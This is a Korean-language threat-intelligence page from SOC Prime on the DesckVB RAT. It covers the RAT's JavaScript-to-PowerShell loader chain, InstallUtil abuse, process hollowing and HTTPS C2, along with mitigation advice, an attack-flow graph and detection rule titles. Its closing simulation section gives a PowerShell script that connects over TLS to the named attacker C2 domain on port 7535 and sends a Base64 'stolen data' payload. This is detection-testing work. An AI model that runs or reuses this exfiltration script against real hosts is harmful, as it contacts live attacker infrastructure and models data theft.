SOC Prime Bias: 중간

09 4월 2026 17:59

DesckVB RAT 분석: JavaScript 로더에서 파일리스 .NET RAT까지

Author Photo
Ruslan Mikhalov SOC Prime에서 위협 연구 책임자 linkedin icon 팔로우
DesckVB RAT 분석: JavaScript 로더에서 파일리스 .NET RAT까지
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

요약

DesckVB RAT은 JavaScript 기반의 트로이 목마로, 파일 없는 .NET DLL을 메모리 내에서 직접 가져오고 실행하는 PowerShell 로더에 연결됩니다. 실행을 숨기기 위해 로더는 Base64 인코딩과 문자열 반전 난독화를 사용하며, InstallUtil.exe를 흔히 알려진 바이너리(LOLBIN)로 남용하고 CreateProcessA를 사용하여 새로운 프로세스를 생성합니다. 활성화되면 RAT은 암호화된 HTTPS C2 통신을 수립하고 키로깅, 웹캠 접근, 안티-바이러스 탐지 기능 모듈을 지원합니다.

조사

분석에 따르면 초기 JavaScript 단계에서 C:UsersPublic에 PowerShell 스크립트를 작성한 다음, 난독화된 도메인에 도달하여 .NET 어셈블리(예: ClassLibrary3.dll)를 다운로드합니다. 해당 어셈블리는 지원 DLL을 로드하고, 보류된 프로세스를 생성하며 페이로드 코드를 주입하고, 악성 도메인 및 포트와 같은 구성 세부 정보를 보고합니다. 네트워크 텔레메트리는 감염된 호스트에서 공격자의 C2 인프라로의 TLS 암호화 통신을 확인합니다.

완화 방안

신뢰할 수 없거나 서명되지 않은 PowerShell 스크립트의 실행을 차단하고 비관리자 또는 예기치 않은 워크플로우에 대해 InstallUtil.exe 사용을 제한합니다. HTTPS 검사와 식별된 악성 인프라에 대한 도메인 평판 필터링을 포함한 엄격한 아웃바운드 통제를 적용하십시오. 엔드포인트에서 중단된 프로세스 플래그를 가진 CreateProcessA 사용을 감지하고 파일리스 주입과 일치하는 메모리 내 .NET 어셈블리 로딩 패턴에 대해 경고합니다.

대응 방안

지표가 탐지되면, 엔드포인트를 격리하고 악성 프로세스 체인을 중단하며 메모리 내 어셈블리와 주입된 영역에 대한 분석을 위해 메모리 덤프를 캡처합니다. C:UsersPublic에서 삭제된 PowerShell 아티팩트를 제거하고 관련 DLL이나 로더 잔재를 근절합니다. 영향을 받은 자격 증명을 재설정하고, 노출된 비밀을 교체하며 나열된 도메인과 포트로의 아웃바운드 연결에 대해 방화벽/프록시 로그를 검토합니다.

“graph TB %% Class definitions classDef action fill:#ffcc99 classDef tool fill:#99ccff classDef malware fill:#ccffcc classDef file fill:#dddddd %% Nodes loader_js[“도구이름: 난독화된 JavaScript 로더
기술: T1027.006 HTML Smuggling
기술: T1027.008 스트립 페이로드
설명: 명령어를 숨기기 위해 Base64와 반전된 문자열을 사용”] class loader_js tool powershell_script[“도구이름: PowerShell 스크립트 lkpzw_01.ps1
기술: T1059.001 PowerShell
설명: 패스된 실행 정책으로 실행됨”] class powershell_script tool dotnet_assembly[“파일: 악성 .NET 어셈블리”] class dotnet_assembly file installutil_execution[“도구이름: InstallUtil.exe
기술: T1218.004 시스템 바이너리 프록시 실행
설명: 신뢰할 수 있는 시스템 바이너리를 통해 .NET DLL을 실행”] class installutil_execution tool dotnet_reflection[“악성 프로그램이름: ClassLibrary3.dll
기술: T1620 반사적 코드 로딩
설명: 반사를 통해 어셈블리를 직접 메모리에 로드”] class dotnet_reflection malware process_hollow[“행동기술: T1055.012 프로세스 할로윙
설명: 보류된 프로세스를 생성하고 악성 코드를 주입”] class process_hollow action thread_hijack[“행동기술: T1055.003 스레드 실행 하이재킹
설명: 대상 프로세스 내에서 스레드 실행 하이재킹”] class thread_hijack action dll_hijack[“행동기술: T1574.001 DLL 하이재킹 실행 흐름
설명: 기능 확장을 위해 메모리에 추가 DLL을 로드”] class dll_hijack action keylogger_module[“악성 프로그램이름: Microsoft.exe
기술: T1056.001 키로깅
설명: 키로거와 기타 모듈 드롭”] class keylogger_module malware c2_https[“행동기술: T1071.001 웹 프로토콜
설명: 합법적인 트래픽과 혼합하여 HTTPS를 통해 통신”] class c2_https action %% Connections loader_js –>|쓰고 실행| powershell_script powershell_script –>|어셈블리 다운로드| dotnet_assembly dotnet_assembly –>|실행됨| installutil_execution installutil_execution –>|반사로 로드| dotnet_reflection dotnet_reflection –>|보류된 프로세스 생성| process_hollow process_hollow –>|스레드 하이재킹 사용| thread_hijack thread_hijack –>|추가 DLL 로드| dll_hijack dll_hijack –>|활성화| keylogger_module keylogger_module –>|C2와 통신| c2_https “

공격 흐름

탐지 방법

의심스러운 디렉토리에서 파일을 실행하는 PowerShell(실행 정책 우회 사용, cmdline 통해)

SOC Prime 팀
2026년 4월 8일

LOLBAS WScript / CScript (프로세스 생성 통해)

SOC Prime 팀
2026년 4월 8일

의심스러운 PowerShell 문자열 (PowerShell 통해)

SOC Prime 팀
2026년 4월 8일

PowerShell 명령줄에서의 .NET 클래스/메소드 호출 (프로세스 생성 통해)

SOC Prime 팀
2026년 4월 8일

공개 사용자 프로필의 의심스러운 파일 (파일 이벤트 통해)

SOC Prime 팀
2026년 4월 8일

공개 사용자 프로필에서의 의심스러운 실행 (프로세스 생성 통해)

SOC Prime 팀
2026년 4월 8일

IOCs (SourceIP) 탐지: DesckVB RAT 분석: JavaScript 로더에서 파일 없는 .NET RAT까지

SOC Prime AI 규칙
2026년 4월 8일

IOCs (HashMd5) 탐지: DesckVB RAT 분석: JavaScript 로더에서 파일 없는 .NET RAT까지

SOC Prime AI 규칙
2026년 4월 8일

IOCs (HashSha256) 탐지: DesckVB RAT 분석: JavaScript 로더에서 파일 없는 .NET RAT까지

SOC Prime AI 규칙
2026년 4월 8일

IOCs (DestinationIP) 탐지: DesckVB RAT 분석: JavaScript 로더에서 파일 없는 .NET RAT까지

SOC Prime AI 규칙
2026년 4월 8일

DesckVB RAT C2 통신 탐지 [Windows 네트워크 연결]

SOC Prime AI 규칙
2026년 4월 8일

DesckVB RAT PowerShell 및 InstallUtil 실행 탐지 [Windows PowerShell]

SOC Prime AI 규칙
2026년 4월 8일

시뮬레이션 실행

필수 조건: 텔레메트리 및 기준선 사전 점검이 통과해야 합니다.

이유: 이 섹션은 탐지 규칙을 촉발시키기 위한 적 행위자 기법(TTP)의 정확한 실행을 자세히 설명합니다. 명령어와 설명은 식별된 TTP를 직접적으로 반영하며 탐지 논리에 의해 예상되는 정확한 텔레메트리를 생성하는 것을 목표로 합니다. 추상적이거나 관련이 없는 예는 오진을 초래할 수 있습니다.

  • 공격 설명 및 명령어:
    초기 접촉을 확보한 공격자는 하드코드된 C2 도메인에 TLS로 감싸진 TCP 연결을 여는 PowerShell 기반 “자원을 활용한 운영” 페이로드를 실행합니다. manikandan83.mysynology.net 포트 7535에서. 페이로드는 Base64로 생성된 더미 데이터 블록을 인코딩하고(T1132.002 설명) TLS 채널을 통해 스트림 전송합니다. 파워셸의 .NET 클래스를 사용하기 때문에, 외부 바이너리가 디스크에 작성되지 않아 DesckVB RAT의 파일 없는 특성을 반영합니다. 해당 연결은 자식 프로세스(powershell.exe)에 의해 설정되며 규칙이 모니터링하는 정확한 도메인, 포트 및 TLS 핸드셰이크 플래그로 Sysmon에 네트워크 연결 이벤트가 기록됩니다.

  • 회귀 테스트 스크립트:

    # --------------------------------------------------------------
    # DesckVB RAT C2 통신 시뮬레이션 (PowerShell)
    # --------------------------------------------------------------
    # 파라미터
    $c2Domain = "manikandan83.mysynology.net"
    $c2Port   = 7535
    
    # 더미 페이로드 (Base64-인코딩됨) – 탈취된 데이터를 나타냄
    $payload  = [Convert]::ToBase64String([Text.Encoding]::UTF8.GetBytes("sensor_data=42"))
    
    try {
        # TCP 연결 설정
        $tcpClient = New-Object System.Net.Sockets.TcpClient($c2Domain, $c2Port)
        $netStream = $tcpClient.GetStream()
    
        # TLS로 래핑 (SslStream)
        $sslStream = New-Object System.Net.Security.SslStream($netStream,$false,({$true}))
        $sslStream.AuthenticateAsClient($c2Domain)
    
        Write-Host "[+] TLS 핸드셰이크가 $c2Domain:$c2Port와 완료되었습니다."
    
        # 페이로드 길이 접두사 전송 (4바이트 big-endian) 및 데이터
        $bytes = [System.Text.Encoding]::UTF8.GetBytes($payload)
        $len   = [BitConverter]::GetBytes([System.Net.IPAddress]::HostToNetworkOrder($bytes.Length))
        $sslStream.Write($len,0,$len.Length)
        $sslStream.Write($bytes,0,$bytes.Length)
        $sslStream.Flush()
        Write-Host "[+] 페이로드 전송 (Base64 길이 $($bytes.Length))"
    
    } catch {
        Write-Error "[-] 연결 실패: $_"
    } finally {
        # 깨끗한 종료
        if ($sslStream) { $sslStream.Close() }
        if ($netStream) { $netStream.Close() }
        if ($tcpClient) { $tcpClient.Close() }
        Write-Host "[*] 연결이 종료되었습니다."
    }
  • 정리 명령:

    # 남아있는 PowerShell NetTCP 연결을 닫았는지 확인
    Get-Process -Name powershell | Where-Object {
        $_.Modules.ModuleName -match 'System.Net.Sockets.TcpClient'
    } | Stop-Process -Force
    
    # 선택 사항: Sysmon 삭제 (일회성 테스트 환경이라면)
    # &"$env:ProgramFilesSysmonSysmon.exe" -u